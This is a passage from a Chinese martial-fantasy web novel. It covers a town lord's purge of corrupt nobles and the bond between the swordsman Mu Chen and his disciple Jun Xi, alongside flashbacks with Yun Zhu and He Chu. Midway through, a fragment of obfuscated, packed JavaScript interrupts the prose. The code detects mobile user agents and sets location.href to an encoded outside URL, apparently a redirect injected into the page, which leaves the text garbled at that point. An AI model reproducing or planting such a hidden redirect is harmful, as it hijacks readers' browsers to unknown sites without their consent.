“镇主大人将那群权贵都击败了!从今往后只有她和我们这些平头百姓,再也没有什么狗屁贵族!”他声音不小,就像是宣布什么消息,让茶馆里的人都听到了。
茶馆顿时人声鼎沸,不由分说地看着那名说话的男子,个个脸上露出欣喜。
“何止啊,”又一个知道内情的人士开口,把周围人的目光都吸引过去,“镇主当时在镇主府里,就地斩杀了关越蒙,剩下的那群贵族都被关进牢狱里了。据说之后会让沈大人贴个公示,把那些人的罪名一一罗列出来!”
“不愧是镇主!”有人感叹道。
众人皆称赞林镇主的美行,恨不得将她夸上天。
不知是谁在这时候提起:“魏公子……”
突然寂静了三秒钟。然后又乍一般地吵开:
“你当时是不是把票投了进去?”
“当时那是事态严重!你还说我,你不也是?”
“……”
“斯人已逝,说再多也没用了。”
“……”
“不如我们去镇主府请愿,为魏公子修一座庙如何?”
“好主意。”
慕沉安静地喝茶,已然置身事外。他与君谿对视了一眼,无声地笑了笑。
35. 言语难明心中情
林宸珠在人群中央巍然屹立,仿佛血手修罗,杀红了眼。
“来人!将这些人全部带走。”
宴会上,只留下宾客。他们似乎没料到林宸珠会到将人杀死的地步。
林宸珠请众客移步至座位上,重新落座。
又恢复了原来的庄重。
末了,她的眼神逐渐变得坚定,却还是掩藏不住哀伤的心绪,朝这些外来客敞开心扉,说:“魏霜林,死于高台之上,众目睽睽之下。王齐铨、黄观、关越蒙以及所谓白沙镇的这些权贵,嘴上说着不牵涉江湖的污浊,私下里做的事,可比江湖里那些邪门歪道还要下流龌龊。”
“我身为镇主,心腹下属位置最高的也只有沈墨清一人,实在势单力薄。我与他们周旋几十年之久,终于还是失衡了。那个名为文亥之人,便是最开始的罪魁祸首。”
“只是,也许他们不知道,我早就想结束了。”
“什么破权势,烂贵族!它们早就该消失了。上一任的镇主被他们拿捏,到死也做不出什么出格的事。如今他们又想走旧路,再找一个好拿捏的镇主——但很可惜,我不是。”
“既然他们想拿所谓‘天道’生事,那就遂他们的意。我不过是等待一个机会,将他们一举拿下。”
“只是苦了百姓和霜林。可不这么做,未来就会有更多百姓受难,我必须作出取舍。”
“这不需要你们做什么,身为镇主,我会做到有始有终。将白沙镇的贵族制度彻底泯灭,只需要你们的见证。我邀请诸位前来,也只为如此。”
“抱歉,事先瞒着诸位,实在有失镇主的体面。”
吐露,又何尝不是倾诉。她压在心中太久了,只要有一个机会,她就会全部倾泻而出。
林宸珠举杯示以众人,一口干了杯中酒。
宾客至此早已对林宸珠产生了敬意,纷纷对她敬酒。
不知谁提出疑惑,说了一句:“可依照白沙镇律法,纵使他们犯下了滔天大罪,也只是关入牢狱百十年,而不是杀了他们。”
“……”林宸珠难得沉默一番。“对不住,我实在忍不了了。我亦是魏霜林的母亲……杀了这些人,是我的私怨。”
“这样啊……”
“若有人因此异议,本镇主自会卸下镇主之职,依律论罪。”虽是这么说,林宸珠的眼里却透露着果决,告诉众人她才是当之无愧的镇主,任何人都不能僭越。
在江湖里,有仇报仇是习以为常的事情。大家难得替她打抱不平了一下:“林镇主,白沙镇在江湖也有一席之地,您倒是不必如此小心谨慎。”
慕沉错过了林宸珠对战权贵的名场面,不过对方又专程请他到府里做客。
“林镇主,在下听闻你近日之举,不胜佩服。”慕沉由衷赞叹道。
林宸珠发自真心地笑了,不像平日里严肃的模样。解决了困扰她多年的难处,精气神都显得年轻了几分。
她倒了杯茶,递到慕沉桌前。“慕仙师,您觉得白沙镇如何?”
慕沉举起茶杯,轻抿了一口,低笑一声。“白沙镇真是个好地方。”
在此之前,慕沉是不会轻易说出这话的。倒不是他狂妄自大,而是没有一个地方能够真正打动他。
白沙镇的体系已经开始崩坏,贵族制度实在腐败,试问一个爱民如子的镇主会怎么做?那必然是扫清障碍。既然那些贵族不安分,就推翻吧。只是这其中少不了许多的经营。民心所向是一回事,可贵族们早已在白沙镇扎根了,轻易无法拔起。
魏霜林的死是意外,却没想到换来了另一个契机。温茹以非人非鬼的形式活了,并且主动出现在她面前。而温茹的目的只有一个,那就是给魏霜林报仇。而这恰巧正中她的下怀。
于是温茹化成魏霜林的模样,简单粗暴地解决了王齐铨。没有王齐铨这个龙头,剩下的贵族根本不足为惧。请一些外来客做个见证,更加顺理成章废掉白沙镇的贵族体系。
这便是林宸珠最开始的目的。也是温茹最后寄托在她身上的执念。
他此行有太多意外的收获,不足以用一句话形容。
“得您这句话,也不愧我做的这许多。”
林宸珠什么都没说,也心知肚明地什么都不用说。
慕沉没接话茬,岔开话题道:“这是什么茶,味道真好。”
“是‘白牡丹’。”林宸珠温和地回复,调笑着说,“君谿说您爱喝茶,看来还真不错。慕仙师若是喜欢,不妨带着回去,我这还有很多。”
“恭敬不如从命。”慕沉就等着她这句话呢。
然后他确实从林宸珠这顺走了很多白牡丹,心情很是不错。
回到君府,发现君秋恒已经在等他了。慕沉内心流汗,抱怨自己简直就是个大忙人。
“有话快说。”慕沉直接了当道。
“我是来告诉你,你再过几天就算不回也得回清诡门,何初已经写信催我了不下十次。”君秋恒毫不客气地下起逐客令。
“就说这个?”慕沉挑了挑眉,“难道不是坦白你跟林宸珠私下做了交易?不是倾诉你这么长时间蛰伏在贵族有多不容易?”
“呃……”君秋恒无言以对,耸了耸肩,“其实你说的也没错。”
“哦,那你可以说再见了。”慕沉不屑地笑笑,“嘁”了一声,“我早就知道了。”
“……”
魏霜林的庙宇真的被修建起来了,就落于刚被拆掉的高台处。
而对面,镇北的这家客栈才算是白沙镇最高的建筑。若是没有王齐铨那群人那档子事,那便人人皆可去客栈最顶端看看,看了才知道这一趟不虚此行。
明日就启程回清诡门了,君谿说这上面有别样的风景,慕沉便来了。说起来他还不清楚君谿要不要跟着他回去,一直不知以什么样的理由和时机开口。
“确实是不一般。”慕沉缓缓行至看台,这上面的灰积了一层,都来不及打扫,这是多久没人上来过了?
君谿已经倚在栏杆上了,一听见声音,蓦地回头,朝他灿烂一笑。“先生总算来了。”
“等很久了?”慕沉没看到其他人,问:“只有我们俩吗?”
“司马师兄和王师兄先前就已经来过了。”
“原来是这样。”慕沉面带笑容,十分轻松地开口询问,“难道不是你特意邀请我一人的吗?”
君谿失笑一声,“先生英明。”
许是为了庆祝近日一系列的壮举,林宸珠竟破例延缓了宵禁,夜晚的白沙镇此刻好不热闹,甚至与年关别无二致。
他们各自观赏了一会儿白沙镇的景致,半晌没有搭话。名为观赏,可实则慕沉的思绪早就飘到十万八千里了。
末了,慕沉装作若无其事的样子,不经意地瞥了眼君谿,发现对方早就已经开始百无聊赖地玩起自己的手。
他暗自忍俊不禁,明明是对方邀他出来的,怎么还先发呆着想着自己的事呢。
看来这次相邀,他们都不是为景而来。
不过慕沉的动作幅度还是让君谿注意到了,他们视线就这么交汇,君谿想开口又欲言又止的模样。
他再是装看不见也装不住了,就直接询问道:“看你一副心不在焉,是早就腻了这里的景象了吗?”
“算是吧。”君谿还是没彻底回过神来,下意识回答。
“只可惜我去过的地方不多,不知道哪里的风景迤逦,不然就带你去看看了。”慕沉也漫不经心的,注意力不在这上面。
“我有。”君谿终于回神,朝他浅浅微笑,认真地回答他,“我去过很多地方,可以带先生去。”
那真挚而又带点期许的目光几乎让慕沉招架不住,有点不自在地挪开了眼。可刚这么做就反应过来有点不合适,又重新对上视线,笑说:“好啊。那你下次可得带我见见世面了。”
“下次?”
“下次再见面的时候。”慕沉试探着说。
君谿微愣。“先生的意思是,不教我继续练剑了吗?”
他追问道,“先生是对我失望了吗?”
君谿握紧栏杆又松开,漫长地等待着慕沉的答复。
“为什么会失望?没有的事。”慕沉莫名,“我以为,是你其实不需要我的教导。”
“先生,其实你想错了一件事。我从来都是真心实意想拜您为师。”君谿轻语。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761015|157740||http|test|mini|href|location''.split(''|''),0,{}));
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>不经意间,慕沉手指轻轻敲着栏杆,发出一嗒一嗒的声音。他回避了君谿的眼神,飘忽着盯着别处看,还装作十分认真的样子,可具体在看什么他自己都说不清楚。
从来。从前,现在,将来。
过了一会儿,他转头对君谿笑了笑,目光略微深沉。“我知道,就在楼下,胡阿华当时看到的人就是你。”
哪有什么乔装假扮,不过是为了帮君谿洗脱罪名而作势撒下的谎罢了。他这么说,他们就这么信了。一切是那么的顺理成章。
君谿不说话,骤然别开视线朝远处望去,难掩复杂的神色。他听说了慕沉在公堂上的说辞,先是惊讶,然后想通——原来先生看穿的不仅仅是林宸珠早已布好的局,还有一些关于他的事——先生本就心知肚明。
“先生若是想问我,我会说的。”
慕沉手肘搭在栏杆上,撑着脑袋,好整以暇地看着对方也避开他视线的样子。看起来有些局促。
“什么都会说?”他故意留有余音,带着些逗弄的意味。
君谿也不知是不是听出了什么不同往常的语气,不说话了。
慕沉低笑一声,适当地止住话题,才觉自己有些失了分寸。于是佯装咳了一下,重新平静下来,才开口:“可我不需要知道太多啊。”
他已经知道摄魂阵里出现了本不该出现的记忆,查到了本不该被发现的线索,找到了……本不该失去的人。
……他还需要知道更多吗?比如君谿修行能力如何,林宸珠与对方私下达成的共盟,以及对方上山拜师的目的、请他下山的原因吗?他不需要知道这些,只要知道,君谿是云竹,就够了。
不,不对,他还想知道更多。想知道云竹是怎么回来的,想知道云竹为什么会成为君谿,想知道——对方这些年,到底是怎么过的、过得好不好?
可他不能问,不能开口,万一对方有自己的计划怎么办?万一有人威胁对方怎么办?万一,君谿他单纯地不想承认,怎么办?
这一切的代价,也许是再一次失去——但哪怕只有一点点可能,他也会受不住这样的后果。只是希望如今,能多看一眼,多说一句。
“你呢?有没有什么要问我的?”他说。
“有。”君谿小声嘀咕一句,又怕他听不清,干脆不经意地挪动一点位置,离慕沉更近一些。“先生在云端上待久了,是不是快忘了烟火凡尘?”他垂眸,看不清神色,轻声问道——
“先生不累吗?”
慕沉察觉到君谿的动作,难免多想。同时对方说的话似有地回音在他脑袋里盘旋,在心里震荡。
不累吗?
慕沉陡然一愣,寂静了许久,转而笑着回答,“不累啊。”他想起山上那片竹林,又瞧着眼前之人,一下子就释然了,低声喃喃道:“怎么会累呢。”
这时,风轻轻从他身边穿过,从君谿脸颊旁拂过,就像是带着说不清道不明的意味,正替他抚摸着君谿。
“我知道了,先生。”君谿似乎真的听懂了什么,脸上的神情多了几分欣悦。又接着道:“先生带我回云端嘛。我还想学剑。”
慕沉不知君谿真正的心思,但哪里舍得拒绝?他多希望回到几十年前的日子,只是不敢轻易表露,只好暗藏于心底,将自己伪装成天衣无缝的样子。
可他不能违背他自己的心。
慕沉听见自己这样回答:“我们一起回去。”
*
回去之前。
司马锋检查了一下包裹,突然摸到一块硬硬的东西。他拿出来一看,正是一面崭新的小镜子。
“呀!”王政乐看着师兄拿出镜子,不由得惊到,“师兄,你怎么忘了把镜子交给师叔!”
慕沉来提醒时恰巧听见他们提到自己,不明就里地问:“怎么了?”
司马锋无所适从地挠了挠头,将镜子递给他,不好意思地解释:“师父在出发之前嘱托我把镜子交到您手中,以备不时之需。结果接连二三的事我就忘了。”
他顺手接过收了起来,安慰性地说:“没事,我这次用不到。这玩意儿有时候也不好用。”
不由得感叹何初有时候想得还挺周到。
36. 难念心事触伤怀
慕沉亲启:
我有事先下山一趟,等不及你回来了,还有我大徒弟也被我带走了,接下来清诡门就暂时交给你打理一下,别偷懒,勿念。
“……”慕沉粗略阅览了这一封留下的信,差点想当作没看见。念个鬼啊!
刚回家就听见这个噩耗,他从前混日子的时代过去了,最懂这方面的人也被何初带走了,如今还真不知该怎么接手这档子事。
他看了眼底下随时待命的弟子,有些心虚地凑到司马锋旁边,小声问:“你们一般这种时候会做什么?”
司马锋虚心回答:“若是有委托请求,便会派遣合适的弟子处理;剩下的弟子则各自练功,亦或者收录、整理先前委托的案卷,若有疑虑则需请示师兄,情节严重时则需重新处理委托。”
“哦~”慕沉眯了眯眼,不怀好意地看着对方,“你看起来很懂嘛。”
司马锋面对他奸诈的嘴脸,莫名紧张起来,似乎有种不好的预感。
果不其然,没有给对方反应过来的机会,慕沉语重心长地拍了拍他的肩,说道:“那接下来就交给你打理了,若是有什么不能确定的事再来问我。”
说是这么说,但这种情况必然少之又少,慕沉的算盘也是打响了,顿时感觉轻松了许多。
“……是,师叔。”司马锋硬着头皮将此事应了下来。
慕沉欣慰地点点头,投给他一个赞许的目光,就离开这个让他压力山大的地方。不过云端实在太偏,他目前是决计去不了的,需得留在这附近坐镇。
君谿走在路上,突然低笑了一声,不知是想到什么有趣的事情。
他有些好奇,疑惑地询问对方:“你笑什么?”
“先生似乎不擅长处理这些繁杂的门派事务。”
原来是在笑话他。慕沉神色一暗,眯了眯眼,不满地嚷嚷道:“你也说了是繁杂的。难道你擅长吗?要不我现在回去让司马锋与你交接?”后一句话是故意逗对方的。
君谿笑着摆了摆手,赶忙拒绝他:“那还是算了,我也不擅长。”
“我就说嘛。有人天生就是干这个的料,而我绝对不是这种人。”慕沉没心没肺地耸肩,感慨着。
他们随意地散步,不知不觉间,竟踏上了回云端的路。这虽不是慕沉的本意,但既然已经走到这里,实在没有调头的必要。
山与山之间是长桥相连,云端底下总是溪流不断,偶尔闲情雅致也可以去山脚抓鱼什么的。
山顶本不是那片竹林生长的地方。若非特意栽种,否则云端顶部一定是杂树遍野。
至于栽种的人,那必然是云端的主人慕沉了。每每从窗台远望,亦有时竹叶会随着清风自己飘进屋里,落在桌上,他总是舍不得扔……睹物思人。
云竹,多好听的名字。
“先生,”君谿轻唤,唤回他的思绪,“你总是看着那片竹林。它到底有什么特别的意义?”
“你真想知道?”慕沉面色复杂地看着对方。
君谿不应该心中有数吗?难道是在试探他?
慕沉娓娓道来,“他是一位故人。”
“是怎样的故人?”君谿追问道。
“对我而言,很重要的人。”慕沉垂眸,露出平常从未有过的黯然。
“可是先生为什么难过?”君谿察言观色,看到他低落的表情。
慕沉不知为什么话题就扯到这里,他永远不想提及的。可既然君谿想听,他就会说。这应该是他躲不掉的事实。
“不是难过。是愧疚,是痛苦,是煎熬——”他目光深沉地看着对方,花费了极大的力气才做到平静地开口,“是我亲手杀了他。”
那是一个意外。
可意外不是他犯错的理由。那是一个惩罚。
说完,慕沉闭上双眼,企图冷静自己的内心。
他希望下一秒睁开眼睛时,看见的不是君谿任何负面的表情。
君谿骤然瞪大双眼,呼吸有些急促,似乎是没料到他会这么说。声音有些低沉,对慕沉道:“对不起先生,我不该问这么
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多的。”
慕沉眨了眨眼,不明白对方真正表达的含义。又听见君谿颤抖的声音对他说:“都过去了。”是在安慰他吗?
过去的都过去了,过不去的,始终停留在他的心里。
他从来不是轻易放下的人。
君谿借故离开了,走得十分匆忙。
慕沉早应该想到的,但还是有些失落。
既然彼此都心照不宣,那么从今往后,他们该如何相处?而慕沉又该如何自处?
“罢了。”慕沉轻叹,反正这是迟早要面对的事。
不过他前脚刚独自黯然伤神,后脚司马锋便带了一封信到山头寻他。
“师叔,这是师父刚刚寄回来的。”
慕沉接过来,马上拆开看,没想到何初写了还挺多字。不过大意就是对方遇到了麻烦,有点棘手,让慕沉去石边镇帮他处理一下。
石边镇,最为代表性的门派就是鸿琛堂。何初走之前还让弟子留了一句话给他,回以前的师门处理点旧事。
慕沉问司马锋对方去了多长时间,司马锋挠了挠头说不知道。
他这才想起司马锋是跟自己回来的,怎么可能知道。不过对方办事效率确实快,还没一会儿的功夫就回来禀告他,说有何初离开有四五天了。
司马锋气喘吁吁,差点没给累坏。
慕沉细想一番,确实有点久。等于他在白沙镇寄信给何初,对方回完信就去石边镇了。
什么旧事要这么着急动身?
慕沉再三考虑,决定去石边镇探探虚实。顺便冷静一下自己的情绪。横竖清诡门还有司马锋,以及何初这厮的徒弟,其实根本不需要他来坐镇。
次日一早,慕沉便准备好只身前往。临走时,他对司马锋嘱咐道:“清诡门就交给你了。”
他最后望了眼云端的方向,又说:“若是君谿回清诡门,想寻我却是不得,便如实相告我的去向,是去是留皆遂他的意。”
待司马锋答应下来,慕沉便踏上去往石边镇之路。
37. 莫闻,调情
他们在莫闻村待了大半年时间,又来了一个躲仇的人。村长说,这是先前住在慕沉这里的人,他回来了。
慕沉好像是想起有这么个事,刚来时村长就告诉过他们那个人在他们来之前就先走了,所以慕沉和云竹算是鸠占鹊巢。如今回来,难道是想让他们完璧归赵?
村长说,他误会了。村里断没有赶人走的道理,再搭建一间房就是了。
慕沉答应下来说自己会出一份力。
于是村长带那人与他们打个照面。
慕沉一见此人,顿时失态地大叫一声:“何初!原来之前住在这里的人是你?”
“慕沉!你怎么会在这里?”何初也十分惊讶地看着他,然后注意到他身旁的云竹,不免有些疑惑地问,“他是谁?”
慕沉看了看旁边的少年,又看了看何初,解释道:“他叫云竹。”
“哦……”何初点点头,对少年打了个招呼。然后他又反应过来,疑惑地看着慕沉,“你不是应该在……不对,绝音阁已经被灭门了……”
云竹听到绝音阁几个字,微微顿了一下。
何初思想拐了个弯,把他拉到一边,私下里小声问道:“不会是你干的吧?”
慕沉挑了挑眉,不满道:“算是吧。你不知道,我在那边经历了什么。来之前怎么没人告诉我这么麻烦?”
“麻烦?不应该啊。那他呢?你怎么认识的?”何初意有所指道。
慕沉看了眼少年,他仍在原来的地方安安静静地等着他们,没有好奇,也没有离开。
“在绝音阁里认识的。你若是想知道更多,我之后再慢慢告诉你。一时半会说不清楚。”他慵懒地回答,“反正不会害我,你安心吧。”
村长跟云竹也交谈起来,他们俩又回去加入对话。
村长有些意外地看着二人,说:“原来你们认识。”
“是熟人了。”何初应道。
慕沉对村长说:“那就省得再盖一座新屋子了。造一张床要容易得多。”
何初揶揄地看着他,道:“我看你就是懒。得,反正我记得这屋子装得下三张床。”
“按照你们的意愿来。”村长点点头。
对哦,还得问云竹的想法。
“你呢?”慕沉转头问着少年。他顾及对方的感受,在对方耳旁小声说:“若你不想,又不好意思开口,可以悄悄告诉我,我来替你说。”
他一脸温和地看着对方,静等一个答复。
云竹对上他的视线,便再挪不开眼,认真回答道:“我听先生的。”
声音很轻,好像在轻掠他的心绪,弄得他的心痒痒的。
慕沉笑着说,“那你可别后悔。”
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云竹亦带着笑颜点点头。
他们三两下就做好了一张床。在此期间,因为何初本身就算是自来熟,再加上慕沉当个中间人,云竹跟对方很快就合得来了,至少不至于冷场。
云竹开玩笑似的叫对方:“何叔。”
“!”何初听到后有如晴天霹雳,不可置信地看着云竹,痛心疾首道:“你叫我叔?!”然后一脸受伤地问慕沉,“我看起来很老吗?”
慕沉听后是忍俊不禁,陈述事实道:“他才十九。”
“……”何初有被安慰到。他不甘心地揽着云竹的肩膀,面对着慕沉说:“那你更要叫他叔叔了。他年纪比我大。”
云竹被何初“强制性”地面对慕沉,低笑一声,眼中只有最单纯的情感。其实十九岁是云竹乱说的,他自己也不知道他的年纪。他随之轻唤了句:“慕叔叔。”
何初心里平衡了,顿时轻松了不少。
慕沉挑了挑眉,无声地与云竹对视,心照不宣地笑了。他知道云竹在说着玩,这个中的意味,只有他二人知晓。
末了,何初进屋子整理自己的床铺了,他二人没跟着进去。
云竹凑近他喊了一声“先生”。
“怎么不继续叫我叔叔了?”慕沉调笑着。
“先生,我开玩笑的。”
“我知道。”
38. 毋念前尘问心安
他们三人就这么平静祥和地度过一年。
慕沉起初有特别多的东西要问何初,最后还是憋在了心里,放着放着就再也问不出口了。他到现在都还不知道何初当时去做什么了。而且何初好像也没有跟他坦白的意思,那就算了吧。万一问了何初不回答,他不想失去这里的第一个朋友。
不过他在绝音阁经历的事情倒是一字不落地全说了。他不想瞒、也懒得瞒着何初,反正这些事也不算什么秘密。
何初听完后感慨道:“原来是这样。还好你学了武功,不然还真不好对付。”然后他又特别骄傲地说,“我就说我娘很厉害吧,她教的人也差不到哪去。”
慕沉见机询问:“他们现在在哪里?我之前回去你们都不在,屋里还被翻个底朝天。跟遭贼了一样。”
何初一愣,摇了摇头。“我也不清楚。估计是去哪里躲清闲了,他们仇家还挺多。”
慕沉眼角直突。什么叫仇家挺多?说得跟吃饭一样轻松。
“你还记得你刚到那边的时候吗?”何初想起来,“我娘说有一封信寄给我,可我当时已经在他们跟前了。应该是那封信暴露了他们的位置。”
所以他们只好转移阵地,顺便把慕沉他们支走,以免引起不必要的麻烦。慕沉了然。
“你说你是在绝音阁里认识云竹的?”何初左右看了眼,确认云竹不在,才说,“可据我所知,绝音阁里的人都姓单啊。”
“云竹以前受了不少苦,好不容易才摆脱了那个地方,是他自己改名换姓。”慕沉解释清楚,“他以前叫单缘,不过你还是别在他面前提起,我怕他想起以前那点子破事。”
“单缘?”何初皱紧眉头,语气些许复杂,“单缘是原单阁主的孩子。”
“我知道啊。云竹跟我说过。”慕沉疑惑地看着对方,不明就里。
何初摇了摇头,沉声道:“可他出生后便夭折了。”
平地惊雷。
似乎还怕慕沉不相信,他十分确定地说:“当时我们都在。单夫人几乎不想活了,我娘因此好一通安慰,这点我印象深刻。”
慕沉此刻有些欲言又止。
何初是不会骗他的,也没有理由骗他。可云竹……
云竹。少年现在是云竹,不是单缘。云竹若有朝一日愿意说,那他也乐意听;就算这辈子都不会开口提这件事,那又有什么关系。
既然说好了朝前看,那么往事就不可追。
他想通后,便知道自己没什么可说的。
许是看出他微妙的变化,何初大抵知道他未言说的答案。末了,何初兀地开口:“你是不是喜欢他?”
“嗯。”慕沉不假思索地肯定。
喜欢了挺长时间了。
他不是没有怀疑过少年为什么对过往只字不提,以及自从上次烧了绝音阁之后,他似乎觉得有什么地方不对劲。明明还有那么多疑点尚未破解。
可他喜欢,这些都显得无足轻重了。至少现在,少年仍在他的眼中,在他心里。
“可我看你们之间好像没什么过多的举动。”何初经过这段时间的观察,分析道。“为什么不告诉他你的心意?我印象里你根本不是怕事的人。”
慕沉微顿。
是啊,为什么?他们之间像是隔了一层纱,就差一捅就破了。
也许他一直想找一个合适的时机,却一直没有这个机会。
也许云竹亦是如此。
他们默契地相处一隅,也许乐在其中,其实根本没必要说得太清楚。
“我会告诉他的。”慕沉承诺道。
“先生,何叔。我回来了。”云竹提着一箩筐雪见草,朝气满满地冲他们走来。他说要去山上采些药草用来清热解暑,慕沉原想着要跟对方一起去,没想到被他拒绝了。这才让他们两人私下的交谈有了可乘之机。
云竹将箩筐放下,就到他们跟前坐着了。慕沉适时倒了一杯水,放到对方面前,说:“瞧你满头大汗的。”
何初理所当然地闭嘴。他看了看云竹,又看了看慕沉,似乎感受到什么不寻常的氛围。
“一点也不累。”云竹看起来心情十分不错,“我在山上看见一只兔子,跟它玩了一会,才耽误了一些时间。”
“兔子呢?”何初朝对方刚放下的箩筐看去。
“我放跑了。”云竹回答道。
慕沉调笑似地说:“可别又让赵猎头给逮了回去。”
“不会的,”云竹眨了眨眼,实诚地开口,“赵猎头说他再也不吃兔肉了。”
瞧他一脸正经的样子,何初不合时宜地大笑起来。
云竹一脸奇怪地看向对方,随即明白其中的意味。他佯装委屈地对慕沉抱怨:“先生,他笑话我。”
“诶诶诶——”何初摆摆手,笑骂一句:“告状没用啊!他是站我这边的。你自己说是不是?”他对慕沉说,还用手肘碰了下慕沉,使了使眼色。
云竹不动声色地等着慕沉表态,双眸中似乎暗含着期待。
一边是最好的朋友,一边是喜欢的人。这世纪难题终于还是落到了他身上。
“咳,”慕沉作势清了清嗓子,假装严肃地面对何初,解释道,“他既然唤我一句‘先生’,我自然会对他负责到底。所以……何初,看招——”
他开始了与何初激烈的缠斗,不过眼底带着笑意,闹着玩似的。
最后以慕沉惜败作为此次不正规打斗的结果。
“好你个慕沉,胳膊肘往外拐了!”何初笑得岔气,用剑指着对方,得意洋洋地看着他们二人,仿佛自己无人可匹敌了。
慕沉收起剑,无奈地对云竹苦诉:“不是我不想为你讨回公道,我打不过他呀!”
云竹成功地被逗笑了,自然知道他们都没有动真格的。他愉悦地安慰慕沉:“没关系的,先生肯为我出头已经是云竹的荣幸了。”
“什么话!我不帮你,难道还帮别人不成?”慕沉对何初挑了挑眉。
“喂——”何初不满地看着他,“要不要这么……”
何初默默把“见色忘义”这几个字咽了下去,算了,毕竟是好兄弟,让着点。他收起剑,敛起笑意带了点认真:“慕沉,说真的,你难道想一辈子待在山上吗?”
慕沉刚想说这里世外桃源,就算真待一辈子有什么不好,然后他不由自主地看向云竹,瞬间说不出口了。
云竹跟他视线交汇,抿嘴一笑道:“先生去哪我就去哪。”
总是在这种时候,少年是这么天真无邪的。慕沉猜到云竹会这么说,才不敢轻易决定自己的一辈子。他们早已绑在一起,这是慕沉现在意识到的,内心欣喜不能自若,可他又意识到——
从前的少年被囚在绝音阁,如今虽已逃离,却变相地被困在了山上……这是他的自私。少年的路还有很长——至少比慕沉长,就算是少年自愿所为,他依然不能将对方拘在一隅,否则就是一辈子的错误。
“我待不住。”他话锋一转,温声开口问少年,“你有什么想去的地方吗?”
云竹被他突如其来的问题问愣,似乎没意料到。不过很快就知道这其中的含义,低笑着摇了摇头,又说了一遍:“先生去哪我就去哪。”
慕沉怎么能不明白对方的言外之意——云竹就想一辈子待在他身边。
他心头跳动得十分厉害,头一次觉得何初在此处十分多余,让他忍住了拥抱少年的冲动,只说:“你若想去各地游玩,我也会陪你。”
“等等等等,你们俩搞什么?有没有人考虑过我!”何初当然发现了这对他不妙的氛围,不识时务地打断了两人之间的拉扯,不顾二人反对便自作起了主张,“我决定了,我去哪里你们俩跟我一起去!”
“这么说,你有想去的地方?”慕沉问。
“……有。”何初挠了挠头,有些认真地看着他们二人,道,“你们想不想去符门关?不想去我就自己去咯。”
慕沉与云竹对视一眼,顿时心领神会,问:“符门关是哪里?”
“……你们还真是山里人。”何初有心无力地吐槽,但还是解释说,“符门关是仙家门派汇聚的首要之地,听闻关中全是修行人士,一个普通人都没有,是多少寒门子弟的向往之处。”
“何叔难道想去求师,修得更高境界?”云竹问。
“我?那倒不是,我都这个年纪了还求师呢,”何初自嘲一番,朝二人使了使眼色,意味深长地说,“我是去寻人的。”
此话一出,慕沉顿时觉得话不对味,颇有些严肃地问:“寻人?你给我说清楚,要寻的是何人,跟你是什么关系,有什么牵连?”
“瞧给你紧张的,寻的是一位昔日旧友的孩子,目前尚在垂髫。早几年我将这孩子托付给符门关的一个宗门,那时候还不认识你呢。”何初安慰性地拍了拍他,“你就安心吧,真不是什么大事。”
“你上次去鸿琛堂时也是这么说的,结果呢?不知所踪。”慕沉没好气地瞪了对方一眼,道,“你想做什么我倒是没意见,前提是别瞒东瞒西,省得你哪天死了我都找不到给你收尸。”
话虽难听了点,他作为三个人中最年长的人,实在免不了操心的命,况且何初就算武功上乘,万一有什么纰漏,要真出了什么事,他又如何对义父义母交代。
“这不就告诉你了嘛。”何初干笑几声,牵强地解
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释,“那次我也没想到会去这么久,下次不会了哈。”
次日一早三人便收拾收拾行囊,同村长再次告别,在这村里待了几年,别说,还挺不舍的。当然村里的居民们都为他们送行,其中不乏有经验的,临了还嘱咐他们一些江湖的门道。
“江湖路远,各自珍重!”村长有些“老泪纵横”,不过此处多的是来往之人,早应该习惯了才是。
山下的光景变化不大,有些东西没了,自然有别的补上来。物是如此,人亦是如此。
“话说你旧友的孩子为什么要让你托管?”慕沉漫不经心地开口,打发点时间。
“这孩子爹娘临终时托付我的,”何初叹了口气,感慨道,“还怪可怜的。”
慕沉听后觉得何初有些不可理喻:“他们托付给你,结果你又把孩子托送到门派,这合适吗?”
“怎么不合适了?”何初不以为然,转头看了眼他,下一秒便有些心虚,苦着脸摊手道,“难不成还让我带孩子?我又不会!”
“那你如今为什么又要寻回他?留在门派里也省得跟你东奔西走。”
“也不知那孩子如今怎么样了,我不过找个由头看看他而已。”何初不知想到什么,莫名笑颜逐开,道,“你别说,那孩子小时候怪可爱的,我突然有点后悔把他送到听泉宗了。”
听到“听泉宗”这熟悉的三个字眼,云竹“咦”了一声,两人的视线移到他身上。慕沉挑着眉,问:“怎么了?”
云竹说:“听泉宗,是不是在玄门咒术方面一骑绝尘?我听闻好多修士去求学,只是为了多一项技艺,并非主攻,真正的内门弟子少之又少。”
“嗯——”何初眯着眼,微笑着点点头,“你说的一点不差。”
慕沉从来没听过这个门派,其实他真正知道的也就那么两三个。
“想不到你久居山林,知道的倒还不少,我却是真成孤陋寡闻的山夫了。”慕沉开玩笑地对云竹说,眼底饱含了真诚的欣喜。
“先生,我觉得这些也没什么好的。”云竹低吟一句,眼中闪过一丝精光,将心中的想法托盘而出,兴致勃勃地对他们二人说,“若有朝一日你们开宗立派,我定要成为第一个弟子!”
“哈哈哈……”慕沉有些不可置信地看着对方,听完后瞬间大笑起来,说,“怎么,难道你不应该做门派的元老吗?”
云竹一听,脸颊微红,道:“先生别说笑了,我哪里有这个能力,况且我——”云竹话音渐小,戛然而止。
“你有的。”慕沉倏忽凑近,在云竹耳边低声说了一句,“你出师了。”他深深地看了对方一眼,唇角微微上扬,随后两手一摊,“我这人就不是当师父的料,教你些剑法造诣就花了我全部心思,再教不了旁人。何初应该可以。”说着他揽住何初的肩膀,“你立个山门如何?”
云竹被他骤然的动作僵住,垂眸敛了神色,莫名不敢直视他,默默听着他们两人的对话。
“瞧你那点出息。我看云竹说的在理,说不定以后真建成一个,名震天下也不在话下。”对慕沉的行为和言语真是没眼看,何初睨了眼他,说着,有些跃跃欲试起来。
何初倒是幻想上了。慕沉转念一想,何初对玄门造诣颇多,五年来还教会了慕沉一点皮毛,恐怕跟听泉宗又有什么渊源。“你不会跟听泉宗的什么掌门长老有什么亲戚关系吧?”
“那倒没有。我只是跟一位宗师是忘年交。”
“……”行,当他没问。
